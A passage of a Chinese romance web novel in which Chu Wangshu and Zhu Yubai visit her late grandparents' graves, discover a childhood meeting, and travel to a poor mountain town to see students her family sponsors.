周爷爷过来拉过周奶奶,“好啦好啦,孩子们的事就不要多掺和,他们时间不多,还有其他事。”
他本意是想楚忘殊回来多住几天,但现在周奶奶这个情况,显然不合适。
“这么快就要走吗?”周奶奶明显舍不得两人。
看周爷爷的意思,现在是两人离开对周奶奶比较好,所以尽管不舍,但还是回道:“奶奶,我们下次再来看您。”
周奶奶握着她的手慢慢放松,语气几乎带着祈求,“那能不能拍张照,我想你们的时候就拿出来看看。”
“好。”听着她小心翼翼的语气,楚忘殊根本无法拒绝。
周奶奶擦拭完镜片,在电视机柜下的抽屉里拿出相机,递给周爷爷。
她忘了怎么拍,只能让他代劳。
楚忘殊和祝屿白坐在沙发上,背后墙上挂着周爷爷和周奶奶金婚纪念日拍的照片。
两人都坐得笔直。
“你们俩靠近一点,离得太远了。”周奶奶在一旁做着指挥。
楚忘殊瞄一眼和祝屿白的距离,已经紧挨着了。
还能怎么靠近?
她心一横,头歪了歪,轻靠在祝屿白肩上。
旁边的人身体一僵,一动不动,浑身凝固了一般。
“不好意思。”楚忘殊以为他是被自己生猛的动作吓到,低声道歉。
祝屿白略微歪了歪头,偏向她,让两人的距离更近。
他和她一样压低声音,轻声说:“没关系。”
拍完照,两人和周奶奶告了别,周爷爷送他们出门,说今晚周奶奶的状况不太好,就不留他们了,让他们下次再来。
楚忘殊表示理解,问他需不需要自己帮忙,得到周爷爷的否定答案,两人才离开。
出门时,太阳刚落山。
天还没完全黑,两人沿直路走,再往右拐来到C栋楼。
外公外婆家和周爷爷家在一个小区的不同楼层。
这段路没多大变化,楚忘殊闭着眼睛都能走回去。
电梯到达十六楼,祝屿白跟在楚忘殊后面,看她掏出钥匙,打开门。
屋内寂静无声,没有开灯,和周爷爷家满满的烟火气完全不同。
这里的桌椅一尘不染,可以看出有人经常打扫,但好久没有了生活气息。
他看向楚忘殊,她目光在屋内流连,眼里的怀念倾泻而出。
“你外公外婆……”他心里隐隐有了猜测,轻声问。
楚忘殊:“嗯,去世了。”
“抱歉。”
楚忘殊扯出个笑容,“没事,我现在习惯了。”
是习惯?还是麻木?
祝屿白在心里想。
“好了,你先在这里吧,我想去看看外公外婆。”她交代祝屿白。
“我能和你一起去吗?”祝屿白站在她面前询问。
楚忘殊不解,“你去干嘛,墓园又没什么好玩的?”
“你不是说我是你朋友吗?作为你的朋友去祭拜你外公外婆,不可以吗?”
“额……好像也行。”
祝屿白:“那走吧。”
楚忘殊刚想去拿自己的包,祝屿白先她一步,食指一勾,包已经到了他的手里。
“我帮你。”见楚忘殊张口想说什么,他想都不用想,肯定是“不用”,所以他提前开口,“就当我在这里吃你的、住你的所做的回报。”
楚忘殊:“那我亏大了。”
祝屿白:“没办法,我准备好赖着你了。”
说完,两人相视一笑,为互相的冷幽默。
楚忘殊去从前常光顾的花店,挑了束新鲜的波斯菊——外公外婆最喜欢的花。
她双手环抱着,走在路上,忽然发现还好有祝屿白帮自己拿包,不然还不好拿。
周遭人来人往,两人慢悠悠走在街上。
街边3D大屏上播放着熊猫啃竹子,灯光洒向路上的人们。
楚忘殊透过抱着的两束波斯菊,微微转头就看到祝屿白半明半暗的脸。
去年这个时候,她风尘仆仆地从江州回来,买了一样的花抱着去看外公外婆。那天是雨天,迎面驶来一辆车还溅她一身水。
此刻,身边多了个祝屿白。
感觉也不赖。
天色将晚未晚,在薄薄的暮色下,两人抵达墓园。
绕过排排墓碑,楚忘殊来到外公外婆墓前,在各
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自墓碑下放了一束花。
她蹲下,盯着上面的照片,视线不知不觉变模糊。她低下头,再次抬起头又像没事人一样,只是地上湿了个小圆点。
“外婆,我今天去了周奶奶家。周奶奶今年生了病,记性不太好。但你知道她问我什么吗?她问我是不是没好好吃饭,脸都瘦一圈了……”
她笑了笑,如同像从前一样伏在外婆膝头唠家常,“我高中每周回来,总是你这样问我。那时候周奶奶还老是和你争,说女孩子瘦点好看。”
“可是现在,你不会这样问我了……”她声音越来越低,最后几乎听不见。
低下头,她的目光落在面前的花束上。
外婆从前就是个很爱花的人,家里的阳台上摆放着各式各样的花花草草。
其中波斯菊,是外婆最喜欢的。
她说每次看到,都会想起楚忘殊,也希望楚忘殊像波斯菊的寓意一样——快乐、自由。
说外婆说完话,她又挪到外公边,擦拭着照片上的灰尘。
“外公,你之前总说我的字软绵绵的,没有劲儿,我这一年多每天都在练字,不知道你会满意吗?”她从祝屿白手里接过包,从里面拿出个笔记本,翻开第一页,是她抄写的一篇古文,字体铁画银钩,对书法没有了解的人也会觉得好看。
她过了一下,又接着说,“对了,你还记得粟裕吗?就是我初三那年跟着你和周爷爷说要资助的那个小孩,他现在考上了很好的医科大学,我们的微薄之力似乎没有白费。”
和外公外婆聊了很久,她终于起身。
站起来的瞬间,脚因为长时间维持同一个动作而麻了一会,她踉跄一下,幸好一旁的祝屿白扶她一把。
两人走在墓园里,此刻光线微弱,到处都是墓碑,风森然地刮着。
若是无关的人路过这,大多会害怕。
但楚忘殊不怕。
只要一想到这里有外公外婆,好像就安心了。
刚走出墓园,她泪水又挤满眼眶,漂亮的眼睛里蓄满荒草横生的思念。
视线模糊中,一只手忽然抚上她的眼睛,她下意识闭眼。
泪水顺势被挤出,沿着祝屿白的手指滑落。
“还是很想他们吗?”耳边是他的声音。
楚忘殊想张口说话,却发现喉咙像堵住了一般,哽咽着什么也说不出口。
她点了点头。
怎么会不想呢?那是承载着她童年记忆,以及为年少的她撑起通往世界的天空的人啊。
“跟我来。”祝屿白拉住她的手腕。
楚忘殊不明所以,只是下意识地紧跟着他的脚步。
走出一段路,祝屿白放缓脚步,转向楚忘殊,神神秘秘地说:“快到了,你闭上眼睛,不许偷看。”
楚忘殊听他的话,闭上眼睛。
半天没有动静,她睁开,祝屿白一副“我就知道你会偷看”的表情看着她。
楚忘殊:“……我只是奇怪怎么没有下一步了?”
祝屿白没说话。
“好好好,那你蒙着行了吧?”楚忘殊边说边拉祝屿白的手挡在她眼前。
“哦,其其实……好。”祝屿白难得结巴,她闭眼的时候睫毛扫过掌心,他都不知道他在说什么了。
祝屿白一只手被楚忘殊抓着,一只手覆在她眼前。
两人维持这样的姿势走着,终于,祝屿白的话响起:
“好了,睁眼吧。”
24. 搭子日记二十四
晚风吹过,树叶簌簌作响。
祝屿白放下遮在楚忘殊眼前的手,她睁开了眼睛。
两人站在一棵大树下,透过树叶的间隙,依稀可见几颗稀星闪烁。
她不解:“这是?”
环顾一圈四周,她没看出这有什么特别的。
“我小时候听说,当你思念某人的时候,就站在树下,像这样拍三下。如果你思念的人此刻也正在思念你,就会落下一片树叶,替他们诉说对你的思念。”
他认真地看向她的眼睛,握着她的手,轻轻拍了三下。
拍完三下,祝屿白仰起头,楚忘殊学着他的样子,也抬起了头。
风仍刮得不停,有一片绿叶慢悠悠地落下,在空中盘旋飘荡,最后落在两人交叠的掌心中。
楚忘殊惊讶地看着祝屿白,然后低头握住手心里的树叶。
外公外婆,你们也在想我吗?
“楚忘殊,你外公外婆应该不想看到你流泪。”祝屿白轻声安慰她。
“祝屿白,你知道吗?我没有妈妈。”她忽然很想和他倾诉。
说完,她顿了顿,等着祝屿白的追问,一般人听到这样奇怪的话,大多是很好奇的。
但祝屿白还是沉默。
“你不好奇吗?”楚忘殊问他。
祝屿白:“你想说吗?”
他的反问让她一愣,隔了很久她才挪动脚步,走在一个台阶上坐下。
祝屿白坐在她身边。
暮色下,两人就这样随意地坐在路边的石阶上,路灯将两人的影子拉长。
楚忘殊慢慢开口,“从我有记忆开始,我就没有任何关于我妈妈的记忆。我原来以为这样是正常的,是后来看到别的小朋友身边都有爸爸妈妈陪,我才意识到——我没有妈妈。”
“那时候我去问外公外婆为什么我没见过我妈妈,外公外婆说妈妈工作忙,没时间带我,我相信了,安心地跟在外公外婆身边。”
她语气淡漠,似乎在讲与自己无关的事。
“直到六岁那年,我哥一个人跑到云城来找我,说起来好笑,不知道那时候他一个九岁的小孩怎么跨越两三千公里找到外公外婆家的。”
“那是我第一次见到我妈妈,但她只是来带走我哥的,她还是不要我。”楚忘殊说着,忍不住笑开,“你知道吗,我小时候真的很好笑,都这样了,我还以为我妈妈只是因为我不够好,所以才不想管我的。”
祝屿白静静地看着她,看她脸上勉强的笑,忽然伸出手,捏住她的嘴唇,“不想笑就别笑,笑比哭还难看,丑死了。”
楚忘殊:“……”
这人破环氛围是有一手的。
不过经他这么一打岔,她感觉松了一口气,就像沉溺在情绪的深海里,眼前忽然出现一根浮木,抓住它,就能踹口气。
“所以那时候我就努力学习,从小到大的每一次考试,我都是第一。”说到这里,她的情绪明显好转了很多,还不忘打趣祝屿白,“没想到吧,我也会有你这样的‘学神时代’。”
一直沉默的祝屿白接上她的话:“我想到了。”
楚忘殊:“……”
行吧,这人是一点都不愿意落下风,容不得别人说他一点不行。
她直视前方,目光投入遥远的过去,轻声说了句,“但后来我发现,她就是不喜欢我,甚至是恨我。”
“楚忘殊,我不知道你和你妈妈之间的事情,但我希望无论发生,你都可以做你的自己,即使是不被爱的孩子。”
楚忘殊忽然之间又发现祝屿白的一个有点——很擅长安慰人。
他继续说着:“人孤身一人来到世上,或许偶然会和一些人有了牵绊,但归根结底是为自己而活。”
“道理我都懂,可是现在外公外婆不在了,我总觉得,我找不到我存在的意义。”她有些迷茫地看着祝屿白。
外公外婆在她高考完,相继离世。
江州大学的录取通知书,在外公的葬礼上收到。
从前外公总念叨着要陪她一起回他的母校看看。
可是如今,录取通知书到了,他却不在了。
葬礼由楚忘殊一手操办,楚砚青和她妈妈一直在国外,直到下葬那天才赶到。
那段时间的楚忘殊,总是把自己关在房间里,长时间不接触太阳,以至于楚砚青回来把她拉出门的时候,她都觉得陌生。
“楚忘殊,你知道我害怕什么吗?”祝屿白突然问她,将她从深陷的记忆中拉出。
“不知道。”
祝屿白:“我害怕青蛙。”
楚忘殊:“为什么?”
祝屿白手里晃着一根不知从哪捡到的草,低着头,以从未有过的怀念语气开始讲:
“我小时候,爸妈工作忙,在学期里就把我放在学校,下课扔补习班,暑假就把我塞到爷爷奶奶家。”
“我第一次到爷爷奶奶家,很多东西都没见过,也有很多地方不适应。那个年龄段的小孩,总会有一个孩子王,掌管着小团体是否愿意接纳新伙伴。”
许是觉得好笑,他闷声笑了一下,又接着道:“而很不幸,我那时候大概是长得太帅了,那个孩子王觉得抢了他的风头,带领小团体排斥我。”
“祝屿白你真是够自恋的,说不定是你小时候太拽了,惨遭小朋友们看不惯。”楚忘殊被他逗笑,秉承着不能让他骄傲的好意,她故意反驳。
祝屿白也跟着笑,没反驳也没赞同。
反正目的就是让她笑,她如何理解都没关系。
“有一天那个小孩忽然送我一个由荷叶裹着的不知名东西——我不想要,但为了不让那个小朋友挨打,于是面无表情地收下了。”祝屿白侃侃而谈,语气轻松,甚至有着“我人真好,还考虑不收了送的人会被打的情况”的自夸。
“然后呢?”楚忘殊被他说的话吸引,追问道。
她想知道这和青蛙有什么关系。
“然后我接过,一掀开荷叶,一只绿油油的青蛙眼睛瞪得像足球那么大,直勾勾地看着我,接着它突然就跳到我手臂上,毫无阻隔地和我的皮肤相接,凉凉的触感直冲我的脑门。”
“哈哈哈哈哈哈——”楚忘殊被他的讲述笑弯腰,想象一下小时候冷着一张脸的祝屿白,被突然出现的青蛙吓得手足无措的样子,就好笑得不行。
她偷瞥一眼祝屿白,想从他现在脸型轮廓想象一下他小时候的样子,没想到他正直勾勾地看着她。
楚忘殊闭上嘴,做了个拉拉链的动作,让他继续讲。
祝屿白的目光仍停留在她脸上,“后来,有人从天而降,将我手上的青蛙提起,一把甩回这
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个恶作剧的始作俑者那,叉着腰警告对方不许欺负我。”
听着听着,楚忘殊莫名觉得这个场景很眼熟,“等等……”
她紧皱着眉,偏向祝屿白,缓缓说出自己的推测,“你小时候假期在云城?”
祝屿白点头,指了指脚下的地,“嗯,这里。”
“那个人……”
“是你。”
楚忘殊惊了,呆愣地看着祝屿白,完全想不到两人居然小时候就见过。
她从小在这长大,自然明白祝屿白说的小孩子里的小团体这些事。
如今听到祝屿白说的一切,脑海里蒙尘的记忆开始复苏。
那是一个雨天。
小区绿化丛中常常会有很多生物出没,青蛙这些不常见,每次出现都会引起一场轰动。
那天她想出去玩,但被外婆说雨天太滑,而且路上有积水、会踩湿鞋子,不准她出去。
她软磨硬泡了好久,才得到外婆的许可,前提是穿上厚重的外套防风,以及穿上水鞋。
水鞋是粉色的,上面还有美羊羊的动画图案——她一点都不喜欢,她想要喜羊羊的。
所以买来她从来没有穿过,这次为了能出去,她只能顺从。
刚到楼下,她就见一大群人围在一起。
走到附近,随便扒拉了个小朋友,才知道是他们抓了只青蛙,众人正好奇地凑在一起看。
楚忘殊不感兴趣,刚要走就听见人群中传来一声恐惧的尖叫。
透过重叠的人影,她看到一张陌生的脸,此刻脸上满是恐惧。
她没思考,径直冲进人群,一眼就看到那个陌生小孩手上丑陋的青蛙,一把拎起,胡乱地甩向别处——她还是有点怕的,因为青蛙的外形实在是太丑了,她不想碰。
没想到这一甩,直接甩到了在小区里那个很讨厌的熊孩子身上。
她解气了,拉着陌生小孩就跑。
现在熊孩子人多,优势不在她,跑为上策。
跑着跑着,没想到跑得太着急,没看路,脚下一滑摔了一跤。
更倒霉的是,外婆担心她,下楼来找她,正好看到她摔了个四脚朝天。
衣服上满是污水,手还沾了泥,完完全全按照外婆设想的最坏结果发生。
外婆走过来将两个小孩扶起来,问楚忘殊疼不疼。
楚忘殊摇摇头,也疑惑这次摔倒怎么不疼。
她小时候就是个皮猴子,经常不是这里磕到,就是那里碰伤。
每次都疼得她发誓下次再也不皮了——当然她不会改,只会在下一次再发誓许愿快点好,但这次,居然不怎么疼。
后来外婆问那个陌生小孩有没有事,对方摇摇头,外婆就心急楚忘殊有没有摔伤,领着她上了楼。
楚忘殊从记忆中抽离,看着祝屿白。
原来他就是那个小孩啊。
好奇妙的缘分。
见她看向自己,祝屿白回望着她,轻声说:“你知道我提起这个想说什么吗?”
楚忘殊一副没正形的样子,眉梢一挑,“分享你的黑历史。”
“我是想说,或许在你意识不到的地方,你已经是别人生命里的灯了。”远处的红灯变绿,光影落在祝屿白眼睛上,他轻声说:“如果你愿意的话,或许,这就是你存在的意义。”
25. 搭子日记二十五
华灯初上,霓虹灯闪烁着五彩斑斓的光,路上车水马龙,一点不输白日的热闹。
小区楼下广场,阿姨们正戴着耳机跳广场舞。
楚忘殊和祝屿白回到家,齐刷刷瘫坐在沙发上。
休息够了,楚忘殊起身去检查客房的各种设施是否完好。
外公外婆去世后,这间房子就闲置下来,只有楚忘殊偶尔回来住。
但这座房子承载了太多与外公外婆的回忆,她舍不得让它一点点被灰尘掩盖,所以她请了保洁每月打扫一次。
还好,一切都没坏。
楚忘殊从客房出来,想告诉祝屿白他今晚睡哪间房。
探出头,她却没在沙发上看见祝屿白。
她走进客厅,才发现祝屿白站在一个橱窗前,上面摆着很多照片。
“看什么呢?”楚忘殊走进,冷不丁出声。
祝屿白没被她突兀的声音吓到,视线仍在照片上,淡淡回应道:“看照片。”
这里摆放的照片,几乎涵盖了楚忘殊从小到大的成长历程。
小时候外公外婆总说,小孩一天一个样,稍有不注意就会错过她成长的样子,所以总是给她拍很多照片,摆放在家里的每个角落。
楚忘殊和他站在一起,饶有兴趣地浏览她的“影集”。
“这张是我吗?我小时候这么傻?”她指着一个相框吐槽,上面是一个小女孩扎着朝天辫、圆溜溜的眼睛边还挂着颗泪珠,很不情愿地看着镜头。
祝屿白:“挺可爱的啊。”他喊着笑意的声音响起。
楚忘殊怎么听都觉得是嘲笑。
再往下一张,是她手捧着节比她脸还大的藕,上面全是泥,似乎刚从地里挖出来的,她脸上也沾了一团泥。
楚忘殊:“……”
怎么这么狼狈的样子也拍下来,外公外婆当时怎么想的?
一圈看下来,与其说是回忆录,不如说是“丢脸集”。
她刚想为自己辩解一下,挽回点形象。
旁边的祝屿白忽然俯身拿起一个白色相框。
他拿在手里,专注地看着,像是要把照片盯出一个窟窿来。
“有什么好看的?”楚忘殊见他看那么久,不由得好奇问。
说着也上前几步,看向祝屿白手里的照片。
照片是她高二时春季运动会拍下的。
云城附中典型的红白黑配色的校服套在她身上,扎着高马尾,回头看向镜头,眼睛里满是诧异。
看样子这张照片是在她不知情的情况下抓拍的。
“祝屿白,这张有什么特别的吗?”他眼珠子都快黏在上面了,而且嘴角还勾着若有似无的笑意。
话音刚落,祝屿白眼神移开,看向她,“你信不信你照片里有我?”
“我信啊,我们不是拍了很多合照吗?”楚忘殊还以为他要说什么,原来就这?
合照不是很多吗?
那次看日落布置的作业,刚才周奶奶认错人要拍的合照……
“我是说这张里面。”祝屿白举着他看了很久的那张照片。
“不可能吧……”楚忘殊蹙眉。
虽然两人在同一个学校,但她高中都不认识他。
祝屿白指了指照片中的背景,在构图很不起眼的一个角落,出现一个模糊的侧影。
楚忘殊凑上前,发现还真有。
她越看越熟悉,略微抬头,就能和此刻的祝屿白联系起来。
“好巧!”她惊呼。
这样的感觉好奇妙,明明几个周前,她和祝屿白还是两条本不会相交的平行线,可如今,他们不仅成为朋友,还发现在过往的人生里,两人早已擦肩而过。
她碰了碰祝屿白,“我们果然是命中注定的朋友。”
祝屿白笑着,只轻轻说了句:“嗯,命中注定。”
窗外夜色渐浓,夜色加深。
屋内两人闲聊声渐渐停下来,一时间万籁俱寂。
“你困了吗?”楚忘殊边打哈欠边问。
祝屿白哪里会困,脑神经还活跃得四处乱蹦,彻夜闲谈都不在话下,但看到她疲倦的神情,他有些愧疚。
不该和她说这么久的,她赶了一天路,又思念外公外婆,耗费了她太多精力。
所以,他点点头,“困了。睡觉去了,你也早点睡。”
“好。”看着他进了房间,她关了客厅里的灯,上了楼。
屋子暗下来,随着黑夜陷入沉睡。
楼上的楚忘殊,早早陷入沉睡。
在梦里她久违地梦见了外公外婆,他们为她擦干流水,摸着头对她说要快乐,要珍惜眼前。
楼下的祝屿白,在床上辗转良久。
借窗外透进来的月色,他看了看自己的手,隐在暗色下的唇角勾了勾。
晚风温柔,夜空中繁星点点。
明天又是新的一天。
第二天早上,楚忘殊醒来,刚下楼,一阵浓香勾着她拐向厨房。
她倚着门框往里看,就见祝屿白围着个粉红色的围裙,在里面忙前忙后。
要不是亲眼所见,她简直不敢相信,祝屿白会和粉红色围裙联系在一起。
“你醒了?马上就可以吃早餐了。”
祝屿白偏头发现她,以为她饿了。
楚忘殊:“哦,好。”
没有半点客套。
餐桌上,楚忘殊早早就洗好手坐下。
祝屿白全部端上桌上,她眼睛一亮。
色香全了,就差尝尝味道了。
等祝屿白落座后,楚忘殊迫不及待开始品尝。
香味在味蕾炸开,充斥在整个口腔中。
对面的祝屿白,双手交叠在桌子上,手指无意识地摩梭着,神色有些紧张。
楚忘殊嘴里嚼着食物,朝他竖起个大拇指,眼睛亮晶晶的。
一句话没来得及说,却又似乎什么都说了。
祝屿白放下心来,看来还合她的口味。
“哇塞,祝屿白你做饭真好吃。”楚忘殊终于腾出口说几句话,“和泊希哥的厨艺不相上下啊。”
祝屿白扬起的嘴角僵在原地,她到底还吃过多少人做的饭?
见楚忘殊又要开始说,他拿起一个剥好的鸡蛋堵住她的嘴。
吃吧,说的话每一句他爱听的。
楚忘殊不懂对面的人怎么又莫名低气压了,她刚可是夸了他,又不是说他做的不好吃。
学神的心思真难猜……
她摇摇头,继续埋头美食。
吃完,她很有眼力见的主动收拾残局。
没想到祝屿白嫌她收拾不干净,包揽下一切。
楚忘殊:“…
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…”
不要看不起人好嘛。
不过她也没什么意见,毕竟她还平白捡了清闲。
她回了房间收拾东西,今天还有重要任务。
背着包下楼时,刚好与祝屿白打了个照面。
他视线落到她的包上,“你要去哪?”
“去学校。”
祝屿白直觉她说的不是江大,而是云城的学校。
没具体问去哪,只让她等自己,他也要跟着去。
撂下一句话就回房间换衣服。
“我去的地方很无聊,一点乐趣都没有。”楚忘殊坐在沙发上,晃着腿,无奈地说。
“你要去吗?”
楚忘殊下意识答:“要。”
“行,那就不无聊。”
楚忘殊愣神的功夫,祝屿白已经接过她手里的包,“走啦,再不走赶不上了。”
“喂,真的是个很无聊的地方。”
前方的身影不答,一副不管你说什么,他跟定了的模样。
——
云城汽车站。
楚忘殊和祝屿白并肩而立。
“看到了吗?我是要去一个小镇,只有客运汽车这一种交通工具能抵达的地方。你还要去吗?”
楚忘殊十分贴心地再给他一个选择的机会。
她要去的地方,是一个贫困县里的小镇。
那里有外公生前资助的学生。
“去啊。”祝屿白回得很干脆。
楚忘殊摊手,行吧,他想去就一起去吧。
她朝他伸出手,“身份证给我,我去买票。”
祝屿白拿给她,领着包站在原地,看她熟练地买票、带他过安检,最后上车。
汽车站人流众多,内部结构复杂,如果不是来过多次,或许根本找不到售票处在哪。
上了车,两人径直走最后一排。
通往镇上的客车,即使买的票上有座位号,但根本没人遵守,一般哪里有空位就坐哪。
楚忘殊经过观察,发现最后排的地方一般都没人坐。
而且最后排空间还大,还能开窗透气,所以她一般都选择到最后一排。
果然,这次也是一样,最后一排只有他们两人。
客车开始驶离市区。
窗外的风景慢慢由高楼大厦变成崇山峻岭。
祝屿白撩开车窗帘往外看,却发现都是连绵的山脉,一眼望不到头。
“害怕吗?”见他好奇地望着车窗外,楚忘殊故意出声问。
祝屿白放下车窗帘,“怕什么?”
“比如把你丢在路边,让你找不到回去的路。”
祝屿白:“……我还没傻到看不见路上的指示牌。”
他和她开完玩笑,忽然叹了口气,“楚忘殊,我理解你之前为什么说你缺钱了。”
楚忘殊:“?”
为什么话题突然拐这么远?
祝屿白再次看向外面高低起伏的群山。
这样的地域,走出去有多难?
楚忘殊能找到这样的地方,开始资助这里的孩子,又花了多少精力?
“楚忘殊,你怎么能这么好。”祝屿白低声发出感慨。
楚忘殊被他突如其来的夸奖搞得无所适从,愣愣地不知道该怎么回答。
祝屿白忽然倾身抱住她。
26. 搭子日记二十六
客车驶入隧道,周围暗下来。
楚忘殊还是很懵,没搞懂祝屿白突如其来的情绪。
他双手虚环着她,耳边是他他清浅的呼吸声。
许是视觉受限,其他感官就越发敏感,她似乎听见他剧烈的心跳声,以及他周身萦绕着淡淡的哀伤。
她身体僵直,不知该如何回应。
思考了半天,她终于想起来,似乎在哪本书上看到过,当好朋友难过时,一个拥抱的作用比什么话都好。
想到这,楚忘殊伸出手,回抱祝屿白。
得到回应,祝屿白身体一震,随后抱紧了些。
黑暗中,两人静静相拥,感受着彼此的呼吸交缠在一起。
驶出隧道的那一刻,两人随之分开。
“你心情好点了吗?”楚忘殊问,眼眸流转间,她努力思考祝屿白刚才反常的原因。
电光火石间,她忽然想到,他该不会是被自己那句把他丢在深山里,让他回不去吓到了吧?
不会吧?他这么胆小?
她想了想,在这样四面全是山的陌生地方,他唯一认识的人就是自己。
玩笑应该双方都觉得好笑才是玩笑。
她的玩笑确实不合适,她向他道歉:“对不起啊,我刚开玩笑的。”
“我发誓,我完全没这个心思,而且我这可是犯法的,我可是遵纪守法的好青年。”她举起右手,比了个发誓的手势。
越听越迷惑的祝屿白:“……”
她叽里咕噜说什么呢?
“我没事。”他干瘪瘪地解释,神色有些尴尬。
要他说什么?说他刚才是心疼她才情绪失控吗?
不行,会吓到她。
“那你刚才为什么有点难过?”楚忘殊很没眼力见地追问道。
祝屿白:“……”
这时候楚忘殊终于意识到他不想说,识相地闭上嘴。
两人要去的小镇叫昭树镇,距离云城有大约四小时的车程。
客车摇摇晃晃,驶在新修的沥青路上。
太阳慢慢移到头顶,炙热的阳光倾斜下来,车内温度上升,让人昏昏沉沉的。
楚忘殊坐客车有个毛病——坐不了多久就想睡觉。
这次也不负众望,眼皮慢悠悠的合上,靠着椅背睡着了。
祝屿白一直注意着她的动静,看她脑袋左右摇晃,点来点去的。
就在他想伸手撑住她的头,让她睡舒服一些时,他肩膀忽然一沉——楚忘殊靠在上面睡着了。
祝屿白肩膀一动不动,让她能睡得舒服些。
车窗外山峦连绵起伏,对他来说是很新奇的景象,但他没有继续看,反而将车窗帘拉回,隔绝了外面的景色和洒进来的阳光。
景色什么时候都可以看,但肩上的人睡着时不喜欢被太阳晒。
不知道过了多久,整辆车上说话声渐渐消失。
整车人除了司机大多陷入沉睡。
最后排,两个少年人头靠头,相互依偎着合上眼休息,车窗帘偶尔飘动起来,阳光趁机洒进来,但都落在窗边的男生身上。
俊男靓女,十分赏心悦目。
“昭树镇到了,请带好随身行李,不要遗漏。”
司机大叔高呼声将祝屿白唤醒,他推推楚忘殊,“到了。”
楚忘殊眼睫眨了眨,慢慢睁开眼。
车厢前的人群早早拿起行李,站在座位过道上等着下车。
她站起来,拿起包准备下车。
起来的一瞬间,她就意识到不对劲——以往她做了这么久的,醒来脖子一定很不舒服,但这次却没有那种不适感。
她只能想到一个原因——祝屿白。
果然,当她低下头去看祝屿白的时候,他肩膀有些僵硬,像是长时间维持同一姿势的后遗症。
不会她睡了多久,他就让她靠了多久吧?
她轻声说了句谢谢,谁料祝屿白很快就像没事人一样站起来,推着她下车。
下车,她深深吸了一口气。
久违了,如此新鲜的空气!
小镇建筑大多只三四层,没有多少高楼大厦。
电线杆随处可见,上面贴满了花花绿绿的小公告。
有些楼的墙皮斑驳,白色墙身上往往沾了一层灰尘,显得雾蒙蒙的。
两人到镇上唯一一家酒店——金沙酒店,办理了入住。
这家酒店似乎刚翻新过,装潢和楚忘殊上次来完全变了样,要不是酒店名字没变,她都以为是倒闭了新开的一家。
楚忘殊躺在床上,简单休息了一下,就去敲了隔壁祝屿白的房。
“你饿了吗?要不要随便吃点饭?”
这里没有外卖,只能自己到店里吃。
祝屿白点点头。
说是随便吃点,但楚忘殊走了好多家都不满意,担心祝屿白吃不惯,而祝屿白呢,又以为是楚忘殊吃不惯,要找个好点的地方。
于是,两人就这样几乎跑了整条街。
最后,第一家店门口,两人的身影再次驻足在这里。
“要不就这里?”楚忘殊问。
“行,我不挑。”
楚忘殊:“……”
早知道早点问了。
两人进了店,调了个位置坐下。
店最里面放着一个大冰箱,所有的食材都摆在里面,现点现烧。
老板很健谈,操着一口方言和他们唠嗑。
楚忘殊虽来过这,但因为这儿的方言和云城差别较大,她一直没学会,只好努力打着手势,边用蹩脚的话回应热情的老板。
祝屿白在一旁津津有味地看着,心里感慨原来她还有这样的一面。
还好老板看出她不太听得懂,也就不和她聊了,进厨房忙活起来。
楚忘殊回头,就看祝屿白一脸笑意地看她。
她挑挑眉,“看到了吧,掌握一门其他语言的好处。”
“其他语言?”他刚才没听到她说这的方言吧?
还是说他只顾着看她,听漏了?
楚忘殊双手撑下巴,“手语啊。”
祝屿白没忍住,笑出声。
她说的手语是她那一大堆乱七八糟的肢体手势语言?
算了,怎么不算一种“手语”呢。
吃完饭,外面已经天黑。
路边的路灯间隔很远才有一盏,其余的大多坏了。
还好凭着这样微弱的光源,也能看清路,虽然很模糊。
走着走着,楚忘殊猛地停下,站在原地,头往上仰。
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>“祝屿白,抬头。”
祝屿白闻言立马抬起头。
头顶上方,玉盘般的月亮点缀在夜空中,周围繁星点点,闪烁不停。
城市的夜晚,大多被灯红酒绿占据,五颜六色的灯光经久不息,耳边的喧嚣似乎让人忘了月亮的存在,根本想不起来抬头。
此时此刻,两人就这样仰着头,看向夜空。
晚风轻拂起两人衣角,像是要拉两人跌入这场沉沦。
“祝屿白,你觉不觉得我们这动作好傻。”
“有吗?”
听到他的回答,楚忘殊咧开嘴,又抬起头,“其实还好?”
“还好。”祝屿白也笑,赞同她的话。
两人就这样看了好一会儿,才回酒店休息。
第二天,楚忘殊早早就醒了。
简单吃了点早餐,两人去了来这的最终目的地——昭树中学。
中学离他们住的地方不远,走路十多分钟就到了。
到达后,楚忘殊匆匆看了眼,发现这里还是没有多少变化。
只有教学楼重新粉刷过,换了教学楼的配色,看起来崭新了些。
操场还是一块石子路,连水泥都没铺上,全是细碎的石子和泥巴。
说是操场,不如说是一个跑道。
除了外围走出一条路,供学生课间操跑步,中间都是些不知名的杂草。
学校大门处,只有一个保安。
不过很尽责,两人明显不是这的学生,甚至不是这里的人,一直不放两人进去。
楚忘殊这才想起来打电话给孔英老师——从前周爷爷的学生,也是这里资助学生的主要负责人。
孔老师是个三十左右的女老师,一头利落的短发,脸上因为在这里工作了很多时间,有了明显的高原红,泛着淡淡的红血丝。
她很快就到了门口,简单给保安说明情况,领了两人进去。
见楚忘殊这次不是一个人来,有些好奇地问了问旁边的人是谁。
楚忘殊简单介绍了下。
祝屿白很有礼貌地和她打了个招呼,随后退到楚忘殊身边,眼神落在她身上。
见状,孔老师了然地看了看两人。
她领着两人到了教室宿舍。
房间有些小,住一人绰绰有余,但现在一下塞进三个人,就显得有些拥挤。
让两人坐下后,孔老师洗了盘水果端出来给两人,自己转身书柜,翻找着东西。
不一会儿,她拿着一个记录本出来,递给楚忘殊、
“今年孩子们资助金领取记录都在这了,你走的时候记得带回去。”
他们资助的形式,并不直接一次性发给学生,而是一个月一个月的给。
孔老师就负责组织发放,每个学生领取后签名并按手印。
楚忘殊接过放在一边,她问了问学生们最近的情况。
孔老师很详细地回答,最后忽然说:“国庆假期有几个没回家,还在宿舍,你想见见吗?”
昭树中学是寄宿制学校,大多数都住校。
但楚忘殊没想到国庆假都有人没回家。
她不知道该不该去见,担心会给孩子们造成负担。
孔老师温柔地看着她:“见见吧,学生们都很想见见你。”
27. 搭子日记二十七
楚忘殊和祝屿白来到学生宿舍楼前,墙身斑驳脱落,窗户边全装上防盗网,深绿色的门窗油漆剥落,露出门本身的白色铁皮。
两人没进宿舍里,只让孔老师一人进去喊学生们出来。
学生们跟在孔老师身后,揪着衣角微微探出头看两人,不敢上前。
和他们视线直接接触,又吓到马上缩回去。
孔老师耐心介绍完,终于有人上前,开始和楚忘殊交谈起来。
接收到楚忘殊的善意后,小朋友们逐渐胆大起来,逐渐活泼起来。
聊了一会儿,或许到底有了些年龄差,楚忘殊和祝屿白在一旁看着小朋友们玩起来。
